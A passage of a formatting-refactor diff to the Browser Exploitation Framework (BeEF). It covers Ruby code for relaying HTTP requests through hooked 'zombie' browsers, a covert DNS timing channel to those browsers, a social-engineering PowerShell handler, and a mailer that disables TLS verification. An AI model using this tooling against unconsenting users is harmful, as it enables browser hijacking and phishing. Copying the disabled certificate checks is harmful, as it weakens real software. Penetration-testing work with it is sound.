||||||
end
|
end
|
||||||
|
|
||||||
|
result.to_json
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while retrieving request with id #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns all requestes given a specific hooked browser id
|
# Returns all requestes given a specific hooked browser id
|
||||||
get '/requests/:id' do
|
get '/requests/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
raise InvalidParamError, 'id' unless BeEF::Filters.is_valid_hook_session_id?(id)
|
||||||
raise InvalidParamError, 'id' unless BeEF::Filters.is_valid_hook_session_id?(id)
|
|
||||||
|
|
||||||
requests = H.where(:hooked_browser_id => id)
|
requests = H.where(hooked_browser_id: id)
|
||||||
halt 404 if requests.nil?
|
halt 404 if requests.nil?
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result[:count] = requests.length
|
result[:count] = requests.length
|
||||||
result[:requests] = []
|
result[:requests] = []
|
||||||
requests.each do |request|
|
requests.each do |request|
|
||||||
result[:requests] << request2hash(request)
|
result[:requests] << request2hash(request)
|
||||||
end
|
|
||||||
|
|
||||||
result.to_json
|
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while retrieving request list for hooked browser with id #{id} (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
result.to_json
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while retrieving request list for hooked browser with id #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Return a response by ID
|
# Return a response by ID
|
||||||
get '/response/:id' do
|
get '/response/:id' do
|
||||||
begin
|
# super debugging
|
||||||
|
|
||||||
# super debugging
|
error = {}
|
||||||
|
|
||||||
error = {}
|
error[:code] = 0
|
||||||
|
|
||||||
error[:code]=0
|
id = params[:id]
|
||||||
|
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
|
||||||
|
|
||||||
id = params[:id]
|
error[:code] = 1
|
||||||
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
|
|
||||||
error[:code]=1
|
|
||||||
|
|
||||||
responses = H.find(id) || nil
|
responses = H.find(id) || nil
|
||||||
error[:code]=2
|
error[:code] = 2
|
||||||
halt 404 if responses.nil?
|
halt 404 if responses.nil?
|
||||||
error[:code]=3
|
error[:code] = 3
|
||||||
result = {}
|
result = {}
|
||||||
result[:success] = 'true'
|
result[:success] = 'true'
|
||||||
error[:code]=4
|
error[:code] = 4
|
||||||
|
|
||||||
result[:result] = response2hash(responses)
|
result[:result] = response2hash(responses)
|
||||||
error[:code]=5
|
error[:code] = 5
|
||||||
|
|
||||||
result.to_json
|
result.to_json
|
||||||
rescue InvalidParamError => e
|
rescue InvalidParamError => e
|
||||||
print_error e.message
|
print_error e.message
|
||||||
halt 400
|
halt 400
|
||||||
rescue StandardError => e
|
rescue StandardError => e
|
||||||
print_error "Internal error while retrieving response with id #{id} (#{e.message})"
|
print_error "Internal error while retrieving response with id #{id} (#{e.message})"
|
||||||
|
|
||||||
error[:id] = id
|
error[:id] = id
|
||||||
error[:message] = e.message
|
error[:message] = e.message
|
||||||
error.to_json
|
error.to_json
|
||||||
# halt 500
|
# halt 500
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Deletes a specific response given its id
|
# Deletes a specific response given its id
|
||||||
delete '/response/:id' do
|
delete '/response/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
|
||||||
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
|
|
||||||
|
|
||||||
responses = H.find(id) || nil
|
responses = H.find(id) || nil
|
||||||
halt 404 if responses.nil?
|
halt 404 if responses.nil?
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result['success'] = H.delete(id)
|
result['success'] = H.delete(id)
|
||||||
result.to_json
|
result.to_json
|
||||||
rescue InvalidParamError => e
|
rescue InvalidParamError => e
|
||||||
print_error e.message
|
print_error e.message
|
||||||
halt 400
|
halt 400
|
||||||
rescue StandardError => e
|
rescue StandardError => e
|
||||||
print_error "Internal error while removing response with id #{id} (#{e.message})"
|
print_error "Internal error while removing response with id #{id} (#{e.message})"
|
||||||
halt 500
|
halt 500
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Send a new HTTP request to the hooked browser
|
# Send a new HTTP request to the hooked browser
|
||||||
post '/send/:id' do
|
post '/send/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
proto = params[:proto].to_s || 'http'
|
||||||
proto = params[:proto].to_s || 'http'
|
raw_request = params['raw_request'].to_s
|
||||||
raw_request = params['raw_request'].to_s
|
|
||||||
|
|
||||||
zombie = HB.where(:session => id).first || nil
|
zombie = HB.where(session: id).first || nil
|
||||||
halt 404 if zombie.nil?
|
halt 404 if zombie.nil?
|
||||||
|
|
||||||
|
# @TODO: move most of this to the model
|
||||||
|
|
||||||
|
raise InvalidParamError, 'raw_request' if raw_request == ''
|
||||||
|
|
||||||
# @TODO: move most of this to the model
|
raise InvalidParamError, 'raw_request: Invalid request URL scheme' if proto !~ /\Ahttps?\z/
|
||||||
|
|
||||||
if raw_request == ''
|
req_parts = raw_request.split(/ |\n/)
|
||||||
raise InvalidParamError, 'raw_request'
|
|
||||||
end
|
|
||||||
|
|
||||||
if proto !~ /\Ahttps?\z/
|
verb = req_parts[0]
|
||||||
raise InvalidParamError, 'raw_request: Invalid request URL scheme'
|
raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported' unless BeEF::Filters.is_valid_verb?(verb)
|
||||||
end
|
|
||||||
|
|
||||||
req_parts = raw_request.split(/ |\n/)
|
uri = req_parts[1]
|
||||||
|
raise InvalidParamError, 'raw_request: Invalid URI' unless BeEF::Filters.is_valid_url?(uri)
|
||||||
|
|
||||||
verb = req_parts[0]
|
version = req_parts[2]
|
||||||
if not BeEF::Filters.is_valid_verb?(verb)
|
raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_http_version?(version)
|
||||||
raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported'
|
|
||||||
end
|
|
||||||
|
|
||||||
uri = req_parts[1]
|
host_str = req_parts[3]
|
||||||
if not BeEF::Filters.is_valid_url?(uri)
|
raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_host_str?(host_str)
|
||||||
raise InvalidParamError, 'raw_request: Invalid URI'
|
|
||||||
end
|
|
||||||
|
|
||||||
version = req_parts[2]
|
# Validate target hsot
|
||||||
if not BeEF::Filters.is_valid_http_version?(version)
|
host = req_parts[4]
|
||||||
raise InvalidParamError, 'raw_request: Invalid HTTP version'
|
host_parts = host.split(/:/)
|
||||||
end
|
host_name = host_parts[0]
|
||||||
|
host_port = host_parts[1] || nil
|
||||||
|
|
||||||
host_str = req_parts[3]
|
raise InvalidParamError, 'raw_request: Invalid HTTP HostName' unless BeEF::Filters.is_valid_hostname?(host_name)
|
||||||
if not BeEF::Filters.is_valid_host_str?(host_str)
|
|
||||||
raise InvalidParamError, 'raw_request: Invalid HTTP version'
|
|
||||||
end
|
|
||||||
|
|
||||||
# Validate target hsot
|
host_port = host_parts[1] || nil
|
||||||
host = req_parts[4]
|
if host_port.nil? || !BeEF::Filters.nums_only?(host_port)
|
||||||
host_parts = host.split(/:/)
|
host_port = proto.eql?('https') ? 443 : 80
|
||||||
host_name = host_parts[0]
|
|
||||||
host_port = host_parts[1] || nil
|
|
||||||
|
|
||||||
unless BeEF::Filters.is_valid_hostname?(host_name)
|
|
||||||
raise InvalidParamError, 'raw_request: Invalid HTTP HostName'
|
|
||||||
end
|
|
||||||
|
|
||||||
host_port = host_parts[1] || nil
|
|
||||||
if host_port.nil? || !BeEF::Filters::nums_only?(host_port)
|
|
||||||
host_port = proto.eql?('https') ? 443 : 80
|
|
||||||
end
|
|
||||||
|
|
||||||
# Save the new HTTP request
|
|
||||||
http = H.new(
|
|
||||||
:hooked_browser_id => zombie.session,
|
|
||||||
:request => raw_request,
|
|
||||||
:method => verb,
|
|
||||||
:proto => proto,
|
|
||||||
:domain => host_name,
|
|
||||||
:port => host_port,
|
|
||||||
:path => uri,
|
|
||||||
:request_date => Time.now,
|
|
||||||
:allow_cross_domain => "true",
|
|
||||||
)
|
|
||||||
|
|
||||||
print_debug "added new http request for #{zombie.session}"
|
|
||||||
print_debug http.to_json
|
|
||||||
|
|
||||||
if verb.eql?('POST') || verb.eql?('PUT')
|
|
||||||
req_parts.each_with_index do |value, index|
|
|
||||||
if value.match(/^Content-Length/i)
|
|
||||||
http.content_length = req_parts[index+1]
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
http.save
|
|
||||||
|
|
||||||
result = request2hash(http)
|
|
||||||
print_debug "[Requester] Sending HTTP request through zombie [ip: #{zombie.ip}] : #{result}"
|
|
||||||
|
|
||||||
#result.to_json
|
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while removing network host with id #{id} (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Save the new HTTP request
|
||||||
|
http = H.new(
|
||||||
|
hooked_browser_id: zombie.session,
|
||||||
|
request: raw_request,
|
||||||
|
method: verb,
|
||||||
|
proto: proto,
|
||||||
|
domain: host_name,
|
||||||
|
port: host_port,
|
||||||
|
path: uri,
|
||||||
|
request_date: Time.now,
|
||||||
|
allow_cross_domain: 'true'
|
||||||
|
)
|
||||||
|
|
||||||
|
print_debug "added new http request for #{zombie.session}"
|
||||||
|
print_debug http.to_json
|
||||||
|
|
||||||
|
if verb.eql?('POST') || verb.eql?('PUT')
|
||||||
|
req_parts.each_with_index do |value, index|
|
||||||
|
http.content_length = req_parts[index + 1] if value.match(/^Content-Length/i)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
http.save
|
||||||
|
|
||||||
|
result = request2hash(http)
|
||||||
|
print_debug "[Requester] Sending HTTP request through zombie [ip: #{zombie.ip}] : #{result}"
|
||||||
|
|
||||||
|
# result.to_json
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while removing network host with id #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Convert a request object to Hash
|
# Convert a request object to Hash
|
||||||
def request2hash(http)
|
def request2hash(http)
|
||||||
{
|
{
|
||||||
:id => http.id,
|
id: http.id,
|
||||||
:proto => http.proto,
|
proto: http.proto,
|
||||||
:domain => http.domain,
|
domain: http.domain,
|
||||||
:port => http.port,
|
port: http.port,
|
||||||
:path => http.path,
|
path: http.path,
|
||||||
:has_ran => http.has_ran,
|
has_ran: http.has_ran,
|
||||||
:method => http.method,
|
method: http.method,
|
||||||
:request_date => http.request_date,
|
request_date: http.request_date,
|
||||||
:response_date => http.response_date,
|
response_date: http.response_date,
|
||||||
:response_status_code => http.response_status_code,
|
response_status_code: http.response_status_code,
|
||||||
:response_status_text => http.response_status_text,
|
response_status_text: http.response_status_text,
|
||||||
:response_port_status => http.response_port_status
|
response_port_status: http.response_port_status
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
# Convert a response object to Hash
|
# Convert a response object to Hash
|
||||||
def response2hash(http)
|
def response2hash(http)
|
||||||
|
response_data = ''
|
||||||
|
|
||||||
response_data = ""
|
if !http.response_data.nil? && (http.response_data.length > (1024 * 100)) # more thank 100K
|
||||||
|
response_data = http.response_data[0..(1024 * 100)]
|
||||||
if not http.response_data.nil?
|
response_data += "\n<---------- Response Data Truncated---------->"
|
||||||
if http.response_data.length > (1024 * 100) # more thank 100K
|
|
||||||
response_data = http.response_data[0..(1024*100)]
|
|
||||||
response_data += "\n<---------- Response Data Truncated---------->"
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
response_headers = ""
|
response_headers = ''
|
||||||
response_headers = http.response_headers if not http.response_headers.nil?
|
response_headers = http.response_headers unless http.response_headers.nil?
|
||||||
|
|
||||||
{
|
{
|
||||||
:id => http.id,
|
id: http.id,
|
||||||
:request => http.request.force_encoding('UTF-8'),
|
request: http.request.force_encoding('UTF-8'),
|
||||||
:response => response_data.force_encoding('UTF-8'),
|
response: response_data.force_encoding('UTF-8'),
|
||||||
:response_headers => response_headers.force_encoding('UTF-8'),
|
response_headers: response_headers.force_encoding('UTF-8'),
|
||||||
:proto => http.proto.force_encoding('UTF-8'),
|
proto: http.proto.force_encoding('UTF-8'),
|
||||||
:domain => http.domain.force_encoding('UTF-8'),
|
domain: http.domain.force_encoding('UTF-8'),
|
||||||
:port => http.port.force_encoding('UTF-8'),
|
port: http.port.force_encoding('UTF-8'),
|
||||||
:path => http.path.force_encoding('UTF-8'),
|
path: http.path.force_encoding('UTF-8'),
|
||||||
:date => http.request_date,
|
date: http.request_date,
|
||||||
:has_ran => http.has_ran.force_encoding('UTF-8')
|
has_ran: http.has_ran.force_encoding('UTF-8')
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
# Raised when invalid JSON input is passed to an /api/requester handler.
|
# Raised when invalid JSON input is passed to an /api/requester handler.
|
||||||
class InvalidJsonError < StandardError
|
class InvalidJsonError < StandardError
|
||||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler'
|
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler'.freeze
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
super(message || DEFAULT_MESSAGE)
|
super(message || DEFAULT_MESSAGE)
|
||||||
@@ -295,11 +262,11 @@ module BeEF
|
|||||||
|
|
||||||
# Raised when an invalid named parameter is passed to an /api/requester handler.
|
# Raised when an invalid named parameter is passed to an /api/requester handler.
|
||||||
class InvalidParamError < StandardError
|
class InvalidParamError < StandardError
|
||||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler'
|
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler'.freeze
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
str = "Invalid \"%s\" parameter passed to /api/requester handler"
|
str = 'Invalid "%s" parameter passed to /api/requester handler'
|
||||||
message = sprintf str, message unless message.nil?
|
message = format str, message unless message.nil?
|
||||||
super(message)
|
super(message)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -7,37 +7,33 @@ module BeEF
|
|||||||
module Extension
|
module Extension
|
||||||
module ServerClientDnsTunnel
|
module ServerClientDnsTunnel
|
||||||
module API
|
module API
|
||||||
|
|
||||||
module ServerClientDnsTunnelHandler
|
module ServerClientDnsTunnelHandler
|
||||||
|
BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
|
||||||
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
|
BeEF::API::Server, 'pre_http_start')
|
||||||
BeEF::API::Server, 'pre_http_start' )
|
BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
|
||||||
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
|
BeEF::API::Server, 'mount_handler')
|
||||||
BeEF::API::Server, 'mount_handler' )
|
|
||||||
|
|
||||||
# Starts the S2C DNS Tunnel server at BeEF startup.
|
# Starts the S2C DNS Tunnel server at BeEF startup.
|
||||||
# @param http_hook_server [BeEF::Core::Server] HTTP server instance
|
# @param http_hook_server [BeEF::Core::Server] HTTP server instance
|
||||||
def self.pre_http_start(http_hook_server)
|
def self.pre_http_start(_http_hook_server)
|
||||||
|
|
||||||
configuration = BeEF::Core::Configuration.instance
|
configuration = BeEF::Core::Configuration.instance
|
||||||
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
|
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
|
||||||
raise ArgumentError,'zone name is undefined' unless zone.to_s != ""
|
raise ArgumentError, 'zone name is undefined' unless zone.to_s != ''
|
||||||
|
|
||||||
# if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen
|
# if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen
|
||||||
listen = configuration.get('beef.extension.s2c_dns_tunnel.listen')
|
listen = configuration.get('beef.extension.s2c_dns_tunnel.listen')
|
||||||
Socket.ip_address_list.map {|x| listen = x.ip_address if x.ipv4?} if listen.to_s.empty?
|
Socket.ip_address_list.map { |x| listen = x.ip_address if x.ipv4? } if listen.to_s.empty?
|
||||||
|
|
||||||
port = 53
|
port = 53
|
||||||
protocol = :udp
|
protocol = :udp
|
||||||
interfaces = [[protocol, listen, port]]
|
interfaces = [[protocol, listen, port]]
|
||||||
dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance
|
dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance
|
||||||
dns.run(:listen => interfaces, :zone => zone)
|
dns.run(listen: interfaces, zone: zone)
|
||||||
|
|
||||||
print_info "Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})"
|
print_info "Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})"
|
||||||
info = ''
|
info = ''
|
||||||
info += "Zone: " + zone + "\n"
|
info += "Zone: #{zone}\n"
|
||||||
print_more info
|
print_more info
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Mounts the handler for processing HTTP image requests.
|
# Mounts the handler for processing HTTP image requests.
|
||||||
@@ -47,9 +43,7 @@ module BeEF
|
|||||||
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
|
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
|
||||||
beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone))
|
beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone))
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -6,36 +6,34 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module ServerClientDnsTunnel
|
module ServerClientDnsTunnel
|
||||||
|
module RubyDNS
|
||||||
|
class Transaction
|
||||||
|
def fail!(rcode, domain)
|
||||||
|
append_question!
|
||||||
|
|
||||||
class RubyDNS::Transaction
|
@answer.rcode = if rcode.is_a? Symbol
|
||||||
|
Resolv::DNS::RCode.const_get(rcode)
|
||||||
|
else
|
||||||
|
rcode.to_i
|
||||||
|
end
|
||||||
|
|
||||||
def fail!(rcode,domain)
|
return unless rcode == :NXDomain
|
||||||
append_question!
|
|
||||||
|
|
||||||
if rcode.kind_of? Symbol
|
|
||||||
@answer.rcode = Resolv::DNS::RCode.const_get(rcode)
|
|
||||||
else
|
|
||||||
@answer.rcode = rcode.to_i
|
|
||||||
end
|
|
||||||
|
|
||||||
if rcode == :NXDomain
|
|
||||||
@answer.aa = 1
|
@answer.aa = 1
|
||||||
soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns." + domain),
|
soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns.#{domain}"),
|
||||||
Resolv::DNS::Name.create("hostmaster." + domain),
|
Resolv::DNS::Name.create("hostmaster.#{domain}"),
|
||||||
Time.now.strftime("%Y%m%d%H").to_i,86400,7200,3600000,172800
|
Time.now.strftime('%Y%m%d%H').to_i, 86_400, 7200, 3_600_000, 172_800)
|
||||||
)
|
@answer.add_authority(name, 3600, soa)
|
||||||
@answer.add_authority(name,3600,soa)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
class Server < RubyDNS::Server
|
class Server < RubyDNS::Server
|
||||||
|
|
||||||
include Singleton
|
include Singleton
|
||||||
|
|
||||||
attr_accessor :messages
|
attr_accessor :messages
|
||||||
|
|
||||||
def initialize()
|
def initialize
|
||||||
super()
|
super()
|
||||||
@lock = Mutex.new
|
@lock = Mutex.new
|
||||||
end
|
end
|
||||||
@@ -50,13 +48,12 @@ module BeEF
|
|||||||
Thread.new do
|
Thread.new do
|
||||||
EventMachine.next_tick do
|
EventMachine.next_tick do
|
||||||
listen = options[:listen] || nil
|
listen = options[:listen] || nil
|
||||||
super(:listen => listen)
|
super(listen: listen)
|
||||||
|
|
||||||
@selfip = options[:listen][0][1]
|
@selfip = options[:listen][0][1]
|
||||||
@zone = options[:zone]
|
@zone = options[:zone]
|
||||||
@messages = {}
|
@messages = {}
|
||||||
|
end
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
@@ -66,11 +63,11 @@ module BeEF
|
|||||||
# @param name [String] name of the resource record being looked up
|
# @param name [String] name of the resource record being looked up
|
||||||
# @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.)
|
# @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.)
|
||||||
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
|
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
|
||||||
def process(name,resource,transaction)
|
def process(name, resource, transaction)
|
||||||
@lock.synchronize do
|
@lock.synchronize do
|
||||||
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
|
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
|
||||||
if format_resource(resource) != 'A' or not name.match(/#{@zone}$/)
|
if (format_resource(resource) != 'A') || !name.match(/#{@zone}$/)
|
||||||
transaction.fail!(:Refused,@zone)
|
transaction.fail!(:Refused, @zone)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -78,31 +75,32 @@ module BeEF
|
|||||||
cid = name.split('.')[2].split('-')[2].to_i
|
cid = name.split('.')[2].split('-')[2].to_i
|
||||||
bit = name.split('.')[2].split('-')[3].to_i(16)
|
bit = name.split('.')[2].split('-')[3].to_i(16)
|
||||||
|
|
||||||
if @messages[cid] != nil
|
if @messages[cid].nil?
|
||||||
message = @messages[cid]
|
transaction.fail!(:NXDomain, @zone)
|
||||||
else
|
|
||||||
transaction.fail!(:NXDomain,@zone)
|
|
||||||
return
|
return
|
||||||
|
else
|
||||||
|
message = @messages[cid]
|
||||||
end
|
end
|
||||||
|
|
||||||
if message.length <= bit
|
if message.length <= bit
|
||||||
transaction.fail!(:NXDomain,@zone)
|
transaction.fail!(:NXDomain, @zone)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
# If the bit is equal to 1 we should return one of the BeEF's IP addresses
|
# If the bit is equal to 1 we should return one of the BeEF's IP addresses
|
||||||
if message[bit] == '1'
|
case message[bit]
|
||||||
|
when '1'
|
||||||
transaction.respond!(@selfip)
|
transaction.respond!(@selfip)
|
||||||
return
|
return
|
||||||
# If the bit is equal to 0 we should return NXDomain message
|
# If the bit is equal to 0 we should return NXDomain message
|
||||||
elsif message[bit] == '0'
|
when '0'
|
||||||
transaction.fail!(:NXDomain,@zone)
|
transaction.fail!(:NXDomain, @zone)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
private
|
private
|
||||||
|
|
||||||
# Helper method that formats the given resource class in a human-readable format.
|
# Helper method that formats the given resource class in a human-readable format.
|
||||||
#
|
#
|
||||||
@@ -111,7 +109,6 @@ module BeEF
|
|||||||
def format_resource(resource)
|
def format_resource(resource)
|
||||||
/::(\w+)$/.match(resource.name)[1]
|
/::(\w+)$/.match(resource.name)[1]
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -6,13 +6,11 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module ServerClientDnsTunnel
|
module ServerClientDnsTunnel
|
||||||
|
|
||||||
extend BeEF::API::Extension
|
extend BeEF::API::Extension
|
||||||
@short_name = 'S2C DNS Tunnel'
|
@short_name = 'S2C DNS Tunnel'
|
||||||
@full_name = 'Server-to-Client DNS Tunnel'
|
@full_name = 'Server-to-Client DNS Tunnel'
|
||||||
@description = 'This extension provides a custom BeEF\'s DNS server and HTTP server ' +
|
@description = 'This extension provides a custom BeEF DNS server and HTTP server ' \
|
||||||
'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.'
|
'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.'
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,22 +1,19 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module ServerClientDnsTunnel
|
module ServerClientDnsTunnel
|
||||||
|
|
||||||
class Httpd < Sinatra::Base
|
class Httpd < Sinatra::Base
|
||||||
|
|
||||||
def initialize(domain)
|
def initialize(domain)
|
||||||
super()
|
super()
|
||||||
@domain = domain
|
@domain = domain
|
||||||
end
|
end
|
||||||
|
|
||||||
get "/map" do
|
get '/map' do
|
||||||
if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$")
|
if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$")
|
||||||
path = File.dirname(__FILE__)
|
path = File.dirname(__FILE__)
|
||||||
send_file File.join(path, 'pixel.jpg')
|
send_file File.join(path, 'pixel.jpg')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -5,13 +5,12 @@
|
|||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
|
|
||||||
module RegisterSEngHandler
|
module RegisterSEngHandler
|
||||||
def self.mount_handler(server)
|
def self.mount_handler(server)
|
||||||
server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new)
|
server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new)
|
||||||
|
|
||||||
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
|
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
|
||||||
server.mount("#{ps_url}", BeEF::Extension::SocialEngineering::Bind_powershell.new)
|
server.mount(ps_url.to_s, BeEF::Extension::SocialEngineering::Bind_powershell.new)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -36,15 +35,7 @@ require 'extensions/social_engineering/powershell/bind_powershell'
|
|||||||
# Models
|
# Models
|
||||||
require 'extensions/social_engineering/models/web_cloner'
|
require 'extensions/social_engineering/models/web_cloner'
|
||||||
require 'extensions/social_engineering/models/interceptor'
|
require 'extensions/social_engineering/models/interceptor'
|
||||||
#require 'extensions/social_engineering/models/mass_mailer'
|
# require 'extensions/social_engineering/models/mass_mailer'
|
||||||
|
|
||||||
# RESTful api endpoints
|
# RESTful api endpoints
|
||||||
require 'extensions/social_engineering/rest/socialengineering'
|
require 'extensions/social_engineering/rest/socialengineering'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -13,8 +13,8 @@ module BeEF
|
|||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
@config = BeEF::Core::Configuration.instance
|
@config = BeEF::Core::Configuration.instance
|
||||||
@config_prefix = "beef.extension.social_engineering.mass_mailer"
|
@config_prefix = 'beef.extension.social_engineering.mass_mailer'
|
||||||
@templates_dir = "#{File.expand_path('../../../../extensions/social_engineering/mass_mailer/templates', __FILE__)}/"
|
@templates_dir = "#{File.expand_path('../../../extensions/social_engineering/mass_mailer/templates', __dir__)}/"
|
||||||
|
|
||||||
@user_agent = @config.get("#{@config_prefix}.user_agent")
|
@user_agent = @config.get("#{@config_prefix}.user_agent")
|
||||||
@host = @config.get("#{@config_prefix}.host")
|
@host = @config.get("#{@config_prefix}.host")
|
||||||
@@ -31,10 +31,10 @@ module BeEF
|
|||||||
# create new SSL context and disable CA chain validation
|
# create new SSL context and disable CA chain validation
|
||||||
if @config.get("#{@config_prefix}.use_tls")
|
if @config.get("#{@config_prefix}.use_tls")
|
||||||
@ctx = OpenSSL::SSL::SSLContext.new
|
@ctx = OpenSSL::SSL::SSLContext.new
|
||||||
if not @config.get("#{@config_prefix}.verify_ssl")
|
unless @config.get("#{@config_prefix}.verify_ssl")
|
||||||
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway
|
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway
|
||||||
end
|
end
|
||||||
@ctx.ssl_version = "TLSv1"
|
@ctx.ssl_version = 'TLSv1'
